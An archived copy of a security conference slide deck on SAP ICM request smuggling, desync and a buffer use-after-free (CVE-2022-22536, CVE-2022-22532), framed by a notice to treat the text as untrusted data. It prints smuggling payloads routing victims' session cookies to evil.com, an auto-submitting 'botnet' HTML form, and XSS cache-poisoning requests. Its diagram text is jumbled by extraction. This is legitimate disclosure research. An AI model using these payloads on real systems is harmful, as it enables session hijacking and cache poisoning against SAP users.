---
type: Whitepaper
title: "Exploiting Inter-Process Communication in SAP's HTTP Server"
description: "SAP's Internet Communication Manager moves HTTP messages to its Java/ABAP backend through fixed-size shared-memory buffers. Oversized requests and a use-after-free on those buffers let an unauthenticated attacker desynchronise the pipeline, smuggle requests, steal other users' sessions and cookies, poison the internal cache, and reach memory corruption for code execution."
resource: "https://i.blackhat.com/USA-22/Wednesday/US-22-Doyhenard-Internal-Server-Error.pdf"
tags: [whitepaper, webseclist-reference, request-smuggling, desync, cache-poisoning, rce, http, proxy, java, cve]
generated:
  by: webseclist-refs/1
  at: "2026-08-11T17:40:18+00:00"
status: stable
stale_after: 2027-08-11
sources:
  - id: original
    resource: "https://i.blackhat.com/USA-22/Wednesday/US-22-Doyhenard-Internal-Server-Error.pdf"
    title: "Exploiting Inter-Process Communication in SAP's HTTP Server"
    author: Martin Doyhenard
also_at: []
authors:
  - Martin Doyhenard
canonical_url: ""
cited_by:
  - "2022.md:27"
commit: ""
content_sha256: 4b5fd26381de6d7631ea3516938271574089997945ab828f82cba1ab56dd84f7
depth: full
depth_reason: default
kind: whitepaper
language: ""
licence: unknown
original_url: "https://i.blackhat.com/USA-22/Wednesday/US-22-Doyhenard-Internal-Server-Error.pdf"
published: ""
publisher: ""
publisher_english: ""
raw_sha256: 17fe34dbc4ba6210c62f9393272475b7d5ad7a556cd64c2407983af999dab29d
retrieved_from: "https://i.blackhat.com/USA-22/Wednesday/US-22-Doyhenard-Internal-Server-Error.pdf"
retrieved_kind: stored
retrieved_utc: "2026-08-11T17:40:18+00:00"
slug: exploiting-inter-process-communication-sap-s-http-server
snapshot: ""
title_english: ""
translation_file: ""
translation_of: ""
---

# Exploiting Inter-Process Communication in SAP's HTTP Server

**Exploiting Inter-Process Communication in SAP's HTTP Server** - Martin Doyhenard, Publisher not stated.

- Published: date not stated
- Original: <https://i.blackhat.com/USA-22/Wednesday/US-22-Doyhenard-Internal-Server-Error.pdf>
- Preserved from: https://i.blackhat.com/USA-22/Wednesday/US-22-Doyhenard-Internal-Server-Error.pdf (stored) on 2026-08-11
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

Internal Server Error:
Exploiting Inter-Process Communication in
             SAP's HTTP Server

               Martin Doyhenard
             Security Researcher @
                    Onapsis
● Business Processes software
  ○ Operations
  ○ Financials
  ○ Human Capital
  ○ Customer Relationship
  ○ Supply Chain

● Over 400,000+ Customers (90% Fortune-500)

● Based on Web Services through HTTP (Java and ABAP)
                                                            https://meritotech.com/wp-content/uploads/2022/01/SAP-Imag.jpg


● Proprietary HTTP Server: Internet Communication Manager
Internet Communication Manager
  ●   Handles all communication of the SAP System with its clients and the outside world

  ●   Protocols: HTTP, P4, IIOP, SMTP and others

  ●   HTTP present by default in all SAP installations (Java, ABAP, WebDispatcher, S/4Hana)
ICM HTTP WorkFlow



                            ICM Worker
                              Thread

                             HTTP Parser
                                                           JAVA / ABAP
                                             Memory
                                            HTTP    Pipe
                                                 Request
    CLIENT   HTTP Request                                    Process
                            HTTP Handlers
ICM Memory Pipes
    ●   MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process

    ●   Requests/Responses are placed in Shared Memory and accessed using MPI pointers

   ● MPI Buffers are ﬁxed size (2^16 by default) and are reserved and freed by a Worker Thread


   ICM WT
 I/O Handler                     ICM WT                                 Java / ABAP

 GET / HTTP/1.1
 ….
                                                  Shared Memory
                                Free
                                  MPIMPI
                                      Buffer
                                         Buffer     Free MPI Buffer   Free MPI Buffer


                                Free MPI Buffer     Free MPI Buffer   Free MPI Buffer
ICM HTTP WorkFlow
   ●   MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process

   ●   Requests/Responses are placed in Shared Memory and accessed using MPI pointers

   ● MPI Buffers are ﬁxed size (2^16 by default) and are reserved and freed by a Worker Thread


   ICM WT
 I/O Handler                      ICM WT                                 Java / ABAP             HTTP/1.1 OK


 HTTP/1.1 OK
 ….
                                                   Shared Memory
                               GET
                                Free/ HTTP/1.1
                                      MPI Buffer    HTTP/1.1
                                                     Free
                                                       MPIMPIOK
                                                           Buffer
                                                              Buffer   Free MPI Buffer


                                Free MPI Buffer      Free MPI Buffer   Free MPI Buffer
ICM HTTP WorkFlow
   ●   MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process

   ●   Requests/Responses are placed in Shared Memory and accessed using MPI pointers

   ●   MPI Buffers are ﬁxed size (2^16 by default) and are reserved and freed by a Worker Thread



    ICM WT
 I/OHTTP/1.1
      HandlerOK                   ICM WT                                 Java / ABAP

 HTTP/1.1 OK
 ….
                                                   Shared Memory
                                 Free MPI Buffer     Free MPI Buffer   Free MPI Buffer


                                 Free MPI Buffer     Free MPI Buffer   Free MPI Buffer
ICM HTTP Handlers
       ● Method and URL determines which Internal Handlers will be called

       ● When a Handler generates a Response, all others are removed.

                                Cache Handler

                                Admin Handler

                                Authentication Handler
       Internal
       Handlers                 Modification Handler

                                File Access Handler

                                Redirect Handler


                            JAVA Handler     ABAP Handler
ICM Internal Handlers                              Cache Handler

                                                   Admin Handler
                          HTTP/1.1 OK 200
                          ….
                                                   Java/ABAP Handler

      I/O Handler
     GET /sap/admin/aaa
     ….                     ICM WT                              Java / ABAP


                                            Shared Memory
                          GET
                          Free/sap/admin
                            MPIMPI
                                 Buffer
                                   Buffer     Free MPI Buffer   Free MPI Buffer


                          Free MPI Buffer     Free MPI Buffer   Free MPI Buffer
ICM Internal Handlers

                                                 Admin Handler
                        HTTP/1.1 OK 200
                        ….


      I/O Handler

      HTTP/1.1 OK 200     ICM WT                              Java / ABAP
      ….




                                          Shared Memory
                        GET
                        Free/sap/admin
                          MPIMPI
                               Buffer
                                 Buffer     Free MPI Buffer   Free MPI Buffer


                        Free MPI Buffer     Free MPI Buffer   Free MPI Buffer
Multi-Buffer Messages
 ●    What if an HTTP Message is bigger than a ﬁxed size MPI Buffer (65455)?

 ●    Internal Handlers only need headers (smaller than 65K)


       I/O Handler

     …. / HTTP/1.1
     GET
     More Request Body
     Content-Length:66000               ICM WT                                   Java / ABAP     HTTP/1.1 OK
     ….
     ….


                                                           Shared Memory
     Cache Handler                   REQ
                                      Freefirst
                                        MPI MPI ~ Buffer
                                                  2^16
                                              Buffer         Free MPI Buffer   Free MPI Buffer


     Java/ABAP Handler               Rest
                                      FreeofMPI
                                        MPI  REQ
                                              Buffer
                                                Buffer       Free MPI Buffer   Free MPI Buffer
Multi-Buffer Messages




    I/O Handler

    HTTP/1.1 OK 200        ICM WT                                   Java / ABAP     HTTP/1.1 OK
    ….




                                              Shared Memory
                        REQ
                         Freefirst
                           MPI MPI ~ Buffer
                                     2^16
                                 Buffer        HTTP/1.1
                                                Free
                                                  MPIMPIOK
                                                      Buffer
                                                         Buffer   Free MPI Buffer


   Java/ABAP Handler    Rest
                         FreeofMPI
                           MPI  REQ
                                 Buffer
                                   Buffer       Free MPI Buffer   Free MPI Buffer
Multi-Buffer Messages




    I/O Handler

    HTTP/1.1 OK 200      ICM WT                                 Java / ABAP
    ….




                                          Shared Memory
                        Free MPI Buffer     Free MPI Buffer   Free MPI Buffer


                        Free MPI Buffer     Free MPI Buffer   Free MPI Buffer
MPI Desynchronization: CVE-2022-22536
MPI Desynchronization                                  Cache Handler

                                                       Admin Handler
                          HTTP/1.1 OK 200
                          ….
                                                       Java/ABAP Process
     I/O Handler
   …. /sap/admin
   GET
   HTTP/1.1
   More Request Body
   Content-Length:66000
   ….
                             ICM WT                                   Java / ABAP
   ….



                                                Shared Memory
                          REQ
                           Freefirst
                             MPI MPI ~ Buffer
                                       2^16
                                   Buffer         Free MPI Buffer   Free MPI Buffer


                           Free MPI Buffer        Free MPI Buffer   Free MPI Buffer
MPI Desynchronization

                                                     Admin Handler
                        HTTP/1.1 OK 200
                        ….

     I/O Handler
   ….
   More Request Body       ICM WT                                   Java / ABAP
   ….



   HTTP/1.1 OK 200
   ….                                         Shared Memory
                        REQ
                         Freefirst
                           MPI MPI ~ Buffer
                                     2^16
                                 Buffer         Free MPI Buffer   Free MPI Buffer


                         Free MPI Buffer        Free MPI Buffer   Free MPI Buffer
MPI Desynchronization




     I/O Handler
   ….
   More Request Body      ICM WT                                 Java / ABAP
   ….




                                           Shared Memory
                        More
                         FreeReq
                           MPIMPIBody
                               Buffer
                                  Buffer     Free MPI Buffer   Free MPI Buffer


                         Free MPI Buffer     Free MPI Buffer   Free MPI Buffer
ICM HTTP Smuggling
 ● Request is splitted if:
     ○ Resolved by an Internal Handler
     ○ Size of body + headers is greater than 65455

 ● All Proxies will consider the payload as one isolated Request (RFC compliant)

       GET /sap/admin/public/default.html HTTP/1.1    GET /some/cached/url HTTP/1.1
       Host: SapSystem.com                            Host: SapSystem.com
       Content-Lenght: 65417                          Padding: <A*65379>
                                                      Content-Lenght: 47
       (A*65370)GET /smuggled HTTP/1.1
       Host: SapSystem.com                            GET /smuggled HTTP/1.1
                                                      Host: SapSystem.com
ICM HTTP Smuggling

 ● /nwa is an App which redirects a user to a login URL. It provides 2 interesting features:
     ○ Open Redirect: The Host header is used to build the redirect Location.
     ○ Params reﬂection: It reﬂects as query string either the body (POST) or query string (GET)
ICM HTTP Smuggling

  ● Hijacking victim’s requests and session cookies


                        PAYLOAD
                                                            POST NWA    GET X
          ATTACKER                         PROXY                                ICM


                          GET /sap/admin/public/default.html HTTP/1.1
                          Host: SapSystem.com
                          Content-Lenght: 65478

                          (A*65370)POST /nwa HTTP/1.1
                          Host: evil.com
                          Content-Type: application/x-www-form-urlencoded
                          Content-Length: 100
ICM HTTP Smuggling

  ● Hijacking victim’s requests and session cookies


                                                                     POST NWA

         ATTACKER                              PROXY                                  ICM
                        RESP                                  RESP



    HTTP/1.1 200 OK                                POST /nwa HTTP/1.1
    server: SAP NetWeaver Application Server       Host: evil.com
    content-length: 4497                           Content-Type: application/x-www-form-urlencoded
    content-type: text/html                        Content-Length: 100
    connection: Keep-Alive
    ...
ICM HTTP Smuggling

  ● Hijacking victim’s requests and session cookies


                                                            GET /   POST NWA
                         GET /

       VICTIM                             PROXY                                     ICM


    GET / HTTP/1.1                               POST /nwa HTTP/1.1
    Host: SapSystem.com                          Host: evil.com
    Cookies:                                     Content-Type: application/x-www-form-urlencoded
    MYSAPSSO2=secret_SAP_Session123456;          Content-Length: 100
    User-Agent: Victim Browser 1.0
    Accept: text/html                            GET / HTTP/1.1
    Accept-Language: en-US,en;q=0.9              Host: SapSystem.com
    ...                                          Cookies: MYSAPSSO2=secret_SAP_Session123456;
                                                 User-Agent: Victimm Browser
                                                                     Browser 1.0
                                                                             1.0
                                                 ...
ICM HTTP Smuggling

  ● Hijacking victim’s requests and session cookies


                     Redir     GET /                   Redir     GET /
                    evil.com                          evil.com
       VICTIM                             PROXY                          ICM
ICM HTTP Smuggling

  ● Hijacking victim’s requests and session cookies


                                     GET /     GET
                                              /webd
                   VICTIM                                       EVIL.COM


                 GET
                 /webdynpro/resources/sap.com/tc~lm~itsam~ui~mainframe~wd/FloorPl
                 anApp?home=true& GET%20/%20HTTP/1.1%20%20Host:%20SapSystem.com%20%
                 20Cookies:%20MYSAPSSO2=secret_SAP_Session123456;%20%20User-Agent:
                 %20Victi HTTP/1.1
                 Host: evil.com
                 Referer: http://SapSystem.com
Smuggling Botnet
  ●   Desynchronization does not rely on HTTP headers
  ●   Exploitable through HTML/JS
  ●   DNS Rebinding to send valid custom HTTP headers (HAProxy CVE-2021-40346)

         <form action="http://SapSystem.com/sap/admin/public/default.html" id="botnet" method="post"
         enctype="text/plain" hidden>

           <input type="text" name="padding" value="{A*65357}">

           <textarea name="smuggle" >POST /nwa HTTP/1.1
         Host: evil.com
         Content-Type: application/x-www-form-urlencoded
         Content-Length: 100
         </textarea>

         </form>

         <script>
         window.onload = document.getElementById("botnet").submit();
         </script>
       DEMO:
HTTP Request Smuggling
G       H G                     G

                       H G
                                H
                            G
    G


                                G

          Proxy Web Cache

              G
Response Smuggling - Arbitrary Cache Poisoning
 POST /sap/admin/public/default.html HTTP/1.1
 Host: www.SapSys.com
 Padding: {A*65KB~}
 Content-Length: 160

 HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
 Host: www.SapSys.com

 GET
 http://<img%20src=""%20onerror="Alert(‘XSS’)">/nwa
 HTTP/1.1
 Host: www.SapSys.com

 GET /target HTTP/1.1
 Host: www.SapSys.com
Response Smuggling - Arbitrary Cache Poisoning
 POST /sap/admin/public/default.html HTTP/1.1
 Host: www.SapSys.com
 Padding: {A*65KB~}
 Content-Length: 160

 HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
 Host: www.SapSys.com

 GET
 http://<img%20src=""%20onerror="Alert(‘XSS’)">/nwa
 HTTP/1.1
 Host: www.SapSys.com

 GET /target HTTP/1.1
 Host: www.SapSys.com
Response Smuggling - Arbitrary Cache Poisoning




 HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
 Host: www.SapSys.com

 GET
 http://<img%20src=""%20onerror="Alert(‘XSS’)">/nwa
 HTTP/1.1
 Host: www.SapSys.com

 GET /target HTTP/1.1
 Host: www.SapSys.com
Response Smuggling - Arbitrary Cache Poisoning
                                                      HTTP/1.1 200 OK
                                                      server: SAP NetWeaver Application Server
                                                      content-type: text/html
                                                      cache-control: max-age=604800
                                                      content-length: 3381
 HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
 Host: www.SapSys.com

 GET
 http://<img%20src=""%20onerror="Alert(‘XSS’)">/nwa
 HTTP/1.1
 Host: www.SapSys.com

 GET /target HTTP/1.1
 Host: www.SapSys.com
Response Smuggling - Arbitrary Cache Poisoning
                                                      HTTP/1.1 200 OK
                                                      server: SAP NetWeaver Application Server
                                                      content-type: text/html
                                                      cache-control: max-age=604800
                                                      content-length: 3381



 GET
 http://<img%20src=""%20onerror="Alert(‘XSS’)">/nwa
 HTTP/1.1
 Host: www.SapSys.com

 GET /target HTTP/1.1
 Host: www.SapSys.com
Response Smuggling - Arbitrary Cache Poisoning
                                                      HTTP/1.1 200 OK
                                                      server: SAP NetWeaver Application Server
                                                      content-type: text/html
                                                      cache-control: max-age=604800
                                                      content-length: 3381

                                                      HTTP/1.1 302 Found
                                                      server: SAP NetWeaver Application Server
 GET                                                  location: http://<img src=""
 http://<img%20src=""%20onerror="Alert(‘XSS’)">/nwa   onerror="Alert(XSS)">/webdynpro/resources/sap.co
 HTTP/1.1                                             m/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?ho
 Host: www.SapSys.com                                 me=true

 GET /target HTTP/1.1                                 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
 Host: www.SapSys.com                                 Transitional//EN">...
Response Smuggling - Arbitrary Cache Poisoning
                                     HTTP/1.1 200 OK
                                     server: SAP NetWeaver Application Server
                                     content-type: text/html
                                     cache-control: max-age=604800
                                     content-length: 3381

                                     HTTP/1.1 302 Found
                                     server: SAP NetWeaver Application Server
                                     location: http://<img src=""
                                     onerror="Alert(XSS)">/webdynpro/resources/sap.c
                                     om/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?ho
                                     me=true

 GET /target HTTP/1.1                <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
 Host: www.SapSys.com                Transitional//EN">...
Response Smuggling - Arbitrary Cache Poisoning
                                     HTTP/1.1 200 OK
                                     server: SAP NetWeaver Application Server
                                     content-type: text/html
                                     cache-control: max-age=604800
                                     content-length: 3381

                                     HTTP/1.1 302 Found
                                     server: SAP NetWeaver Application Server
                                     location: http://<img src=""
                                     onerror="Alert(XSS)">/webdynpro/resources/sap.c
                                     om/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?ho
                                     me=true

 GET /target HTTP/1.1                <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
 Host: www.SapSys.com                Transitional//EN">...
                                     …
Response Smuggling - Arbitrary Cache Poisoning
                                     HTTP/1.1 200 OK
                                     server: SAP NetWeaver Application Server
                                     content-type: text/html
                                     cache-control: max-age=604800
                                     content-length: 3381

                                     HTTP/1.1 302 Found
                                     server: SAP NetWeaver Application Server
                                     location: http://<img src=""
                                     onerror="Alert(XSS)">/webdynpro/resources/sap.c
                                     om/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?ho
                                     me=true

 GET /target HTTP/1.1                <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
 Host: www.SapSys.com                Transitional//EN">...
                                     …
Response Smuggling - Arbitrary Cache Poisoning
 GET /target HTTP/1.1
 Host: www.SapSys.com
Response Smuggling - Arbitrary Cache Poisoning
 GET /target HTTP/1.1                HTTP/1.1 200 OK
 Host: www.SapSys.com                server: SAP NetWeaver Application Server
                                     content-type: text/html
                                     cache-control: max-age=604800
                                     content-length: 3381

                                     HTTP/1.1 302 Found
                                     server: SAP NetWeaver Application Server
                                     location: http://<img src=""
                                     onerror="Alert(XSS)">/webdynpro/resources/sap.c
                                     om/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?ho
                                     me=true

                                     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
                                     Transitional//EN">...
                                     …
        DEMO:
HTTP Response Smuggling
MPI Buffers
 ●   Multi-Purpose shared memory buffers used to store:
      ○   HTTP Requests
      ○   HTTP Responses
      ○   Out Of Bounds data
 ●   Each Worker Thread have a Linked List of MPI Buffer pointers (one for each purpose)




                                          POST /                  GET /other
      MPI Request Buffers                HTTP/1.1                 HTTP/1.1
ICM - HTTP Pipelining
  ●   SAP ICM Java by default accepts Pipelined Requests using different MPI Buffers


        I/O Handler
      GET /1 HTTP/1.1                 ICM WT                                 Java Process     HTTP/1.1 OK

      GET /2 HTTP/1.1


                                                       Shared Memory
                                    GET
                                    Free/1MPI
                                      MPI   GET/2
                                           Buffer
                                              Buffer     Free MPI Buffer    Free MPI Buffer


                                    GET
                                    Free/2MPI
                                      MPI  Buffer
                                              Buffer     Free MPI Buffer    Free MPI Buffer




      MPI Request Buffers            GET /1 HTTP/1.1                  GET /2 HTTP/1.1
ICM - HTTP Pipelining
  ●   SAP ICM Java by default accepts Pipelined Requests using different MPI Buffers


       I/O Handler
      HTTP/1.1 OK 200                 ICM WT                                 Java Process     HTTP/1.1 OK
      ….




                                                       Shared Memory
                                    GET
                                    Free/1MPI
                                      MPI  Buffer
                                              Buffer     HTTP/1.1
                                                         Free
                                                           MPIMPI OK
                                                               Buffer
                                                                  Buffer    Free MPI Buffer
                                    GET/2

                                    GET
                                    Free/2MPI
                                      MPI  Buffer
                                              Buffer     Free MPI Buffer    Free MPI Buffer




      MPI Request Buffers            GET /1 HTTP/1.1                  GET /2 HTTP/1.1
ICM - HTTP Pipelining
  ●   SAP ICM Java by default accepts Pipelined Requests using different MPI Buffers


       I/O Handler
      HTTP/1.1 OK 200                 ICM WT                                 Java Process
      ….




                                                       Shared Memory
                                    Free MPI Buffer      Free MPI Buffer    Free MPI Buffer


                                    GET
                                    Free/2MPI
                                      MPI  Buffer
                                              Buffer     Free MPI Buffer    Free MPI Buffer




      MPI Request Buffers            GET /1
                                         /2 HTTP/1.1                  GET /2 HTTP/1.1
MPI Use After Free: CVE-2022-22532
MpiIFreeAllBuffers

    I/O Handler

 GET
 ..Rest/1ofHTTP/1.1
            Req1 Body..     ICM WT                                  Java Process    HTTP/1.1 OK
 ….66KB data
 GET /2 HTTP/1.1
 GET /2 HTTP/1.1

                                             Shared Memory
                          GET /1MPI
                           Free
                             MPIHTTP/1.1
                                 Buffer
                                    Buffer     Free MPI Buffer    Free MPI Buffer


                          Body
                           Free+MPI
                             MPIGET /2
                                 Buffer
                                    Buffer    GET /2MPI
                                               Free
                                                 MPIHTTP/1.1
                                                     Buffer
                                                        Buffer    Free MPI Buffer




  MPI Request Buffers      GET /1 HTTP/1.1                GET /2 HTTP/1.1
MpiIFreeAllBuffers

    I/O Handler
  HTTP/1.1 OK 200         ICM WT                                  Java Process
  ….




                                           Shared Memory
                        GET /1MPI
                         Free
                           MPIHTTP/1.1
                               Buffer
                                  Buffer    HTTP/1.1
                                             Free
                                               MPIMPIOK
                                                   Buffer
                                                      Buffer    Free MPI Buffer


                        Body
                         Free+MPI
                           MPIGET /2
                               Buffer
                                  Buffer    GET /2MPI
                                             Free
                                               MPIHTTP/1.1
                                                   Buffer
                                                      Buffer    Free MPI Buffer




  MPI Request Buffers    GET /1 HTTP/1.1                GET /2 HTTP/1.1
MpiIFreeAllBuffers

   I/O Handler

                          ICM WT                                  Java Process


                                           Shared Memory
                        GET /1MPI
                         Free
                           MPIHTTP/1.1
                               Buffer
                                  Buffer     Free MPI Buffer    Free MPI Buffer


                        Body
                         Free+MPI
                           MPIGET /2
                               Buffer
                                  Buffer    GET /2MPI
                                             Free
                                               MPIHTTP/1.1
                                                   Buffer
                                                      Buffer    Free MPI Buffer




  MPI Request Buffers    GET /1
                             /2 HTTP/1.1                GET /2 HTTP/1.1
MpiIFreeAllBuffers

   I/O Handler
                                               ERROR
                         ICM WT                                Java Process


                                          Shared Memory
                        Free MPI Buffer     Free MPI Buffer   Free MPI Buffer


                        Free MPI Buffer     Free MPI Buffer   Free MPI Buffer
                                           GET /2 HTTP/1.1



  MPI Request Buffers   GET /1
                            /2 HTTP/1.1
                                                    MpiIFreeAllBuffers() does NOT delete references
MPI Use After Free

      I/O Handler 1
                        ICM WT 1


                                        Shared Memory
                      Free MPI Buffer     Free MPI Buffer    Free MPI Buffer     Java Process

                      Free MPI Buffer     GET
                                          Free/XMPI
                                            MPI  HTTP/1.1
                                                  Buffer
                                                    Buffer   Free MPI Buffer
                                          GET /2 HTTP/1.1

      I/O Handler 2
       GET /X
                        ICM WT 2                MPI Handler “allocates” using a stack data structure (LIFO)
       HTTP/1.1
       ….
MPI Use After Free - Write After Free
    ●   When a request is sent incomplete, the ICM will wait for more data
         ○   No double CR-LB characters are found
         ○   Body shorter than Message-Length header

    ●   Worker Thread is set to READ mode

    ●   When more data arrives the Worker Thread writes the MPI Buffer

    ●   The offset of the last byte (NULL) is stored by the Worker Thread to know where to write
MPI Use After Free - Write After Free
                                                                        MPI Buffer
                                                            [x00]




                                                            OFFSET: 0
                          READ

   ICM WT
 I/O Handler           ICM WT                                 Java Process

 GET / HTTP/1.1
 Hos
                                        Shared Memory
                      Free
                        MPIMPI
                            Buffer
                               Buffer     Free MPI Buffer    Free MPI Buffer


                      Free MPI Buffer     Free MPI Buffer    Free MPI Buffer
MPI Use After Free - Write After Free
                                                                       MPI Buffer
                                                            GET / HTTP/1.1\r\n
                                                            Hos[x00]



                                                            OFFSET: 19
                          PARSE
                          READ

   ICM WT
 I/O Handler           ICM WT                                 Java Process

t: SapSys.com
Content-Length: 0
                                        Shared Memory
                     GET / HTTP/1.1
                      Free
                        MPIMPI
                            Buffer
                               Buffer     Free MPI Buffer    Free MPI Buffer


                      Free MPI Buffer     Free MPI Buffer    Free MPI Buffer
MPI Use After Free - Write After Free
                                                                        MPI Buffer
                                                             GET / HTTP/1.1\r\n
                                                             Host: SapSys.com\r\n
                                                             Content-Length: 0\r\n
                                                             \r\n[x00]

                                                             OFFSET: 55
                         HANDLE
                          PARSE
                          READ

   ICM WT
 I/O Handler            ICM WT                                 Java Process


                                         Shared Memory
                     GET
                      Free/ HTTP/1.1
                            MPI Buffer     Free MPI Buffer    Free MPI Buffer


                      Free MPI Buffer      Free MPI Buffer    Free MPI Buffer
                                                                                           MPI Buffer
Smuggling without a Proxy
                                                                              X[x00]

   ICM WT 1
 I/O Handler         ICM WT 1
                                                                              WT 1 OFFSET: 1
GET
Req1/1Body..
       HTTP/1.1
….65KB data
X
X                                      Shared Memory
                                                                                          Java Process
                    GET /1MPI
                       MPI
                     Free HTTP/1.1
                           Buffer
                              Buffer    Body
                                         Free XBuffer
                                             +MPI
                                           MPI    Buffer   XFree
                                                              MPIMPI
                                                                  Buffer
                                                                     Buffer


                                                                                           HTTP/1.1 200 OK
   ICM WT 2
 I/O Handler
                     ICM WT 2
                                                                                           MPI Buffer
Smuggling without a Proxy
                                                                              X[x00]
                        PARSE
                        READ
   ICM WT 1
 I/O Handler         ICM WT 1
                                                                              WT 1 OFFSET: 1

HTTP/1.1 200 OK

                                       Shared Memory
                                                                                          Java Process
                    GET /1MPI
                       MPI
                     Free HTTP/1.1
                           Buffer
                              Buffer    Body
                                         Free XBuffer
                                             +MPI
                                           MPI    Buffer   XFree
                                                              MPIMPI
                                                                  Buffer
                                                                     Buffer


                                                                                          HTTP/1.1 200 OK
   ICM WT 2
 I/O Handler
                     ICM WT 2
                                                                                          MPI Buffer
Smuggling without a Proxy
                                                                             X[x00]
                        READ
   ICM WT 1
 I/O Handler        ICM WT 1
                                                                             WT 1 OFFSET: 1    WT 2 OFFSET: 0



                                      Shared Memory
                                                                                         Java Process
                    Free MPI Buffer     Free MPI Buffer   XFree
                                                             MPIMPI
                                                                 Buffer
                                                                    Buffer



   ICM WT 2
 I/O Handler
                    ICM WT 2
GET / HTTP/1.1
Host: SapSys.com
….
                                                                                          MPI Buffer
Smuggling without a Proxy
                                                                             GET / HTTP/1.1\r\n
                        READ
                                                                             Host: SapSys.com\r\n
   ICM WT 1                                                                  Content-Length: 0\r\n
                                                                             \r\n[x00]
 I/O Handler        ICM WT 1
                                                                             WT 1 OFFSET: 1   WT 2 OFFSET: 55
ET /otherURL
HTTP/1.1
Host: SapSys.com
                                      Shared Memory
                                                                                         Java Process
                    Free MPI Buffer     Free MPI Buffer   GET / HTTP/1.1
                                                           Free
                                                             MPIMPI
                                                                  Buffer
                                                                    Buffer



   ICM WT 2
 I/O Handler
                    ICM WT 2
                                                                                          MPI Buffer
Smuggling without a Proxy
                                                                             GET /otherURL HTTP/1.1\r\n
                                                                             Host: SapSys.com\r\n
   ICM WT 1                                                                  Length: 0\r\n
                                                                             \r\n[x00]
 I/O Handler        ICM WT 1
                                                                             WT 1 OFFSET: 43   WT 2 OFFSET: 55



                                      Shared Memory
                                                                                         Java Process
                    Free MPI Buffer    HTTP/1.1
                                        Free
                                          MPIMPI200
                                              BufferOK
                                                 Buffer   GET /otherURL
                                                           Free
                                                             MPIMPI
                                                                  Buffer
                                                                    Buffer



   ICM WT 2
                                                                                        HTTP/1.1 200 OK
 I/O Handler
                    ICM WT 2                                                            Response for /otherURL
                                                                                          MPI Buffer
Smuggling without a Proxy
                                                                             GET /otherURL HTTP/1.1\r\n
                                                                             Host: SapSys.com\r\n
   ICM WT 1                                                                  Length: 0\r\n
                                                                             \r\n[x00]
 I/O Handler        ICM WT 1
                                                                             WT 1 OFFSET: 43   WT 2 OFFSET: 55



                                      Shared Memory
                                                                                         Java Process
                    Free MPI Buffer    HTTP/1.1
                                        Free
                                          MPIMPI200
                                              BufferOK
                                                 Buffer   GET /otherURL
                                                           Free
                                                             MPIMPI
                                                                  Buffer
                                                                    Buffer



   ICM WT 2
 I/O Handler
                    ICM WT 2
 HTTP/1.1 200 OK
Smuggling without a Proxy

   ● Steps:
      a. Attacker hijack MPI Buffer
                                                    ?
      b. Victim place request in hijacked buffer
      c. Attacker tamper Victim’s request
      d. Victim receives malicious response

   ● Same HTTP Smuggling exploitation

   ● No proxy is required, but less reliable

   ● Multi-Purpose Buffers… Requests or Response?
                                                                                          MPI Buffer
Response Tampering
                                                                             X[x00]
                         READ
   ICM WT 1
 I/O Handler         ICM WT 1
                                                                             WT 1 OFFSET: 1




                                       Shared Memory
                                                                                         Java Process
                     Free MPI Buffer     Free MPI Buffer   Free MPI Buffer
                                                           X

   ICM WT 2
 I/O Handler
                     ICM WT 2
GET /A HTTP/1.1
Host: SapSys.com
….
                                                                                          MPI Buffer
Response Tampering
                                                                             X[x00]
                         READ
   ICM WT 1
 I/O Handler         ICM WT 1
                                                                             WT 1 OFFSET: 1      WT 2 OFFSET: 0



                                       Shared Memory
                                                                                         Java Process
                     Free MPI Buffer    GET /AMPI
                                         Free
                                           MPI HTTP/1.1
                                                Buffer
                                                  Buffer   Free
                                                             MPIMPI
                                                                 Buffer
                                                                    Buffer
                                                           X

   ICM WT 2
                                                                                        HTTP/1.1 200 OK
 I/O Handler
                     ICM WT 2                                                           Response for A
                                                                                                 MPI Buffer
Response Tampering
                                                                                     HTTP/1.1 200 OK\r\n
                                READ                                                 Content-Length: 14\r\n
     ICM WT 1                                                                        \r\n
   I/O Handler                                                                       Response for A[x00]
                            ICM WT 1
                                                                                     WT 1 OFFSET: 1   WT 2 OFFSET: 53
TTP 200 OK
Sap-Cache-Control: …
Content-Length: 25
                                              Shared Memory
<script>alert(1)</script>                                                                        Java Process
                            Free MPI Buffer    GET /AMPI
                                                Free
                                                  MPI HTTP/1.1
                                                       Buffer
                                                         Buffer   HTTP/1.1
                                                                   Free
                                                                     MPIMPI200
                                                                         BufferOK
                                                                            Buffer



   ICM WT 2
 I/O Handler
                            ICM WT 2
                                                                                              MPI Buffer
ICM Arbitrary Cache Poisoning
                                                                             HTTP 200 OK\r\n
                                                                             Sap-Cache-Control: Max-Age=100\r\n
     ICM WT 1                                                                Content-Length: 25\r\n
   I/O Handler                                                               \r\n
                               ICM WT 1                                      <script>alert(1)</script>[x00]
TTP 200 OK                                                                  WT 1 OFFSET: 88          WT 2 OFFSET: 53
Sap-Cache-Control: …
Content-Length: 25
                                                 Shared Memory
<script>alert(1)</script>                                                                     Java Process
                               Free MPI Buffer    GET /AMPI
                                                   Free
                                                     MPI HTTP/1.1
                                                          Buffer
                                                            Buffer   HTTP/1.1
                                                                      Free
                                                                        MPIMPI200
                                                                            BufferOK
                                                                               Buffer



   ICM WT 2
 I/O Handler
                               ICM WT 2
